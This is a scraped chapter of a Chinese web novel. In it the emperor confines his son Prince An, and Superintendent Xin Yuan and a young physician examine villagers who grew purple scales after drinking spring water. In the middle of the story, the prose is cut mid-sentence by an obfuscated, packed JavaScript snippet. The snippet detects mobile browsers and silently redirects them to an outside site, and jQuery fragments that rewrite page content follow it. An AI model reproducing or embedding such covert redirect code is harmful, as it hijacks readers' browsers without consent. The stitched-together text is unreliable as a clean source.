萧泽元匍匐在地,额头贴于地面。
这样的姿势已经维持了一刻。
宫殿内,四面矗立着蜡烛,高低错落,皇帝的影子隐隐映在宽大的椅背后。
窗边的一只蜡烛,在风的催促下燃尽了最后一点烛液。
候在门外的太监眼尖,拿着一只新蜡烛立刻就要来换上。
人影动了下,高高的玉冠找到角度,终于出现在了影子的头上。
若是辛渊在这里,就不会进来。
桌上那封信摊开的时间比萧泽元跪下的时间还长。
萧定坤依折痕将信原样折好,身体一倾,将信悬于蜡烛上方。
火苗先是舔了一下信尖,继而贪婪的一拥而上,将整封信吞了下去。
正如辛渊所猜测,太子先前就已将萧泽元在自己的地盘养兵的事,不经意的透露了一番。
虽然此事有点超出了萧定坤的意料,但也不至于为此震惊。
萧定坤对此的态度是暧昧的。
收到辛渊的信则有不同,像是事情终于落了锤,作为儿子竟然如此大张旗鼓的惦记父亲的东西,未免让人心寒,作为臣子惦记皇帝的位置也不得不让皇帝高墙再筑。
萧泽元只得庆幸,自己早怕东窗事发,已备下了绝佳的理由,但若要认真追究,始终是大逆不道的事。
“安王,”信笺的灰烬落到地面,皇帝开口了,“知道该怎么做吧?”
“知道。”萧泽元身体紧了下,仍旧头低着回答。
皇帝道:“在你府中一月不得上朝,不得见任何人。”
这就是关禁闭的意思。
这样的处罚未免过轻。
萧泽元道:“是。”
皇帝十指交叉,搭在身前:“抬起头来回话。”
“是,父皇。”
萧泽元依言抬头,眼皮垂着,额角已濡湿了一片,若是仔细看去,放在他头磕在地上的位置,颜色比别处深些。
萧定坤饶过他似的挥了挥手。
皇帝的态度依然暧昧。
门外两个太监打了个哈欠,见着里面人影出来,连忙闭了嘴,肃穆的塌腰站着。
弯腰的瞬间,他似乎看到出来的人轻轻勾了下唇角。
太监的腰塌得更深了。
不久,皇帝从里面出来了,太监掌灯,皇帝乘着抬舆,往二皇子的生母,贤妃的方向去了。
贤妃穿着绛紫色的睡衣坐在床边,将睡欲睡,但始终睡不着,其实也没有睡觉的心思,只是坐得太久了,惶惶之绪充斥着整个脑子。
听到皇帝来了,原本忐忑的心更忐忑了。
她小心观察着皇帝的颜色,除了夜晚不再遮掩的疲惫,没有看到异样。
皇帝也没和她说儿子的事情。
皇帝让人摆开棋盘,招呼贤妃过来,贤妃的棋下得不怎么样,可皇帝经常要和她下棋。
像是打发时间,就只是下棋。
期间,贤妃想开口问二皇子,或者向二皇子求个情,让皇子看在夫妻的情分上,手下留情,皇帝都拦了回去。
皇帝现下不想提及此事,该知道的贤妃明天一早就都知道了。
许是今日太晚了,棋只下小半,皇帝就抬手了。
贤妃会意,先扶皇帝坐到床边,再让宫女灭了房间里所有的光亮,拉上密实的窗帘,宫女跟太监也不在屋内守着,退到院子外面。
这是皇帝的习惯,多年来妃子侍寝也好,只是自个儿晚上歇息也好,都要保证环境黑到极致。
贤妃摸黑躺到里面。
寂黑的虚空中面部轮廓一闪而过。
过了一会儿,身边响起轻微的衣物摩擦的声音,皇帝向她靠过来。
皇帝与她同榻而眠时,几乎不说话。
她靠在皇帝的心口,在熟悉的体温和起伏的胸口中,感受到一点儿踏实。
县衙门外,徐行一手持刀,目光炯炯的站在大门口的台阶上,眼睛望向街道深处。
这时门口出来个人,此人身高中等,圆脸,鼻子下留着一横胡子,他也随徐行向前张望着。
“还没来吗?”
徐行道:“回县令,应该是这个时候。”
正说着,就先听到一阵马蹄声,那马蹄声乱七八糟,毫无章法。
“到了。”
街道中两骑并列,马上两人一黑一黄。
马蹄声越来越近,徐行不免走了下神,西府那匹马几百年没人骑了。
正想着,两人已到跟前。
徐行下去迎接,辛渊下马,将两匹马的缰绳交给徐行,问道:“人在哪里?”
县令紧跟着下来:“辛督主,人已被控制住了,就在府内,请随我来。”
事态紧急,两人也没多客套,拔腿往大门里去了。
蔡画夸奖般摸了摸马儿的头:“好拐拐,辛苦你了,明天就能饱饱的饭了。”
徐行牵着叫拐拐的顺拐马,跟它对视了一眼,那马仰起了头,甩了甩脑袋,“图,图——”
徐行:“……”
蔡画几步跟在辛渊的身后,听辛渊身旁的人说道。
“督主,我是本县的县令,叫田征,这道门。”他将人领进后院。
后院内有两个笼子,一个笼子里关着一个人,两人皆睡了过去,只是都抱着脑袋缩在角落里,睡得也极不踏实。
周围约莫有十个西阁银甲和两个衙役,李启铭也在内,离笼子相隔五丈,手里都带着刀。
每人都戴了一副黑色的手套。
虽然两人都在笼子里,也处于睡着的状态,但是没人有丝毫懈怠。
李启铭见到辛渊来了,心中一喜,急忙上前来,和其他人向辛渊低头拱手。
辛渊道:“都起来吧。”
他转头对田征道:“田县令,细说吧。”
“是,”田征道,“三天前,由这其中一人的邻居举报,说这户人家有奇怪的地方,白天晚上不出门,但是每天买很多吃的东西,尤其是肉类。
“他们都是普通人家,平时打柴为生,不常吃肉,这几天吃肉比过年还多。
“我们过去时他已经跑了,是在他们乡外找到他们的,看样子,是要逃跑。”
桂江县下属有五个乡,这二人皆来自丰收乡。
两人粗布短褐打扮,穿着布鞋,一双小腿半截露在外边,上面覆盖着鳞甲之物。
蔡画一惊,这很像她第一次遇见辛渊的时候见的东西。
她在辛渊身后退了半步,又瞧着这里人多,不那么害怕了,想往前走,看仔细些。
“不可,”还没等辛渊说话,田征先一步拦住了她,“姑娘,此二人有相染的嫌疑,不可靠近。”
辛渊拉着蔡画的手臂,将她依旧拉到身后。
院中火把燃起,都举向笼子的方向,将两人照得更清楚了些。
除了腿部的鳞片,脸颊边,额头上和脖子没有遮住的部分都覆盖了鳞片,鳞片颜色很深,晚上看不清,但依稀能够看出来是绛紫,翕动间滴落黏液。
他们衣衫下,也应当是如此情形。
笼子里其中一人睡眠浅,被院中的动静叫醒,睁眼看一圈人围着他,还来一个似乎老大的人物,捂着脸“啊”的叫了一声,身体往后靠,不自觉的撞击着笼子,捂着脸,收抖着腿,不知道该往哪里藏。
院中守着他们的人,握剑的手俱是一紧。
辛渊对李启铭道:“叫弟兄们都先下去休息吧,留两个在这看着就行。”
“是。”李启铭拱了下手安排去了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920880|177077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
徐行拴了马也在旁边。
辛渊道:“兰太医在何处?”
徐行来之前去太医请了方太医,但方太医年事已高,不宜远行,便派了自己的得意弟子兰慧慧。
兰慧慧是年轻女子,又还未正式出师,让她处理这起闻所未闻异事中,不免叫人难以信任。
徐行本想换个人,不过方太医一力举荐,说别看她是个女子,比宫中行医多年的太医还强。
方太医可以说太医院资历最好的人,他的话很有份量。
于是兰慧慧跟徐行一行一起赶到了桂江县。
“跟我来。”田征领着辛渊去了兰慧慧暂住的房间。
兰慧慧房间里的蜡烛还亮着。
蔡画跟着上去,被眼前的景象震了下。
出了门口的地方,在里面简直是无从下脚,桌子上,凳子上,一屋子里全是铺开的书和各种药材,兰慧慧都是踩着地面缝隙过来开门的。
蔡画心道,她这辈子都没人家这几天看的书多,西府藏书阁的书很多,以后回到西府不忙时,她也要去藏书阁多看看,要做一个饱读诗书的女子。
姨娘经常这么跟她说,来看她的时候,也会给她带些书来。
其实归云寺有藏经楼,她爱看有关作画的书,和翻翻书法家的碑帖,兴致来了,还会临摹些字。
兰慧慧神情肃穆,还不等他问,便说道:“督主,这二人的症状与石桥县令出现鳞片人症状很像。”
“很像?”辛渊抓住了字眼。
很像,不是一样。
“是,”兰慧慧道,“他们身上的鳞片、颜色黏液几乎一样,只是鳞片比石桥县的大些,更像是鱼鳞。”
她踩着缝隙回去,去桌上拿了两张图纸,又折返回来。
有了图纸的对比,更明显了。
蔡画挤到前面,看着图纸上两张十分想象的鳞片,只是除了大小和其他细微的差别,的确是不一样,也的确是很像。
蔡画深思道:“好像经过了什么……”
兰慧慧眉头蹙着,印着眼眶下的黑色又深了点:“某种变异。”这也是她一直在思考的问题。
对,就是这个词,蔡画一时说不出来。
辛渊道:“可有医治之法。”
兰慧慧望了眼铺了遍地的医术:“目前还没有。”
或许有,但是微乎其微。
蔡画也跟着心也跟着提了下,那岂不是……
兰慧慧继续道:“他二人出现此症状的时间是差不多的,而且他们即有可能是通过身体接触传染得到的。”
辛渊立即吩咐徐行下去,带着西阁的人,去抓他们接触过的人,且在执行任务的过程中一定要佩戴手套。
这也是兰慧慧特意交代过的。
此事田征也提前做了,只是抓了一部分人,有的人一听到风声就跑了。
不过田征早已关闭了进出县城的要道。-
辛渊问道田征:“可有审过二人?”
田征道:“已审过了,两人并不认识,不过他们六日前前后脚去山里打柴,路过一个水泉,都饮了那里的泉水,”
“泉水可有异样?”
田征道:“卑职去看一次,未发现异常。”
辛渊又看向兰慧慧。
兰慧慧道:“时间还没来得及,我正打算明日去看看。”
几人从兰慧慧房中出来,田征领着二人去为他们安排的休息的地方。
不远,也在这一层。
辛渊并不去自己的房间,而是跟在蔡画的身后。
蔡画已习惯了,简单收拾了下,旁若无人的躺下了。
辛渊视线从床铺一转,移到多点了不少灯笼的后院里。
看来南下要多些时日了。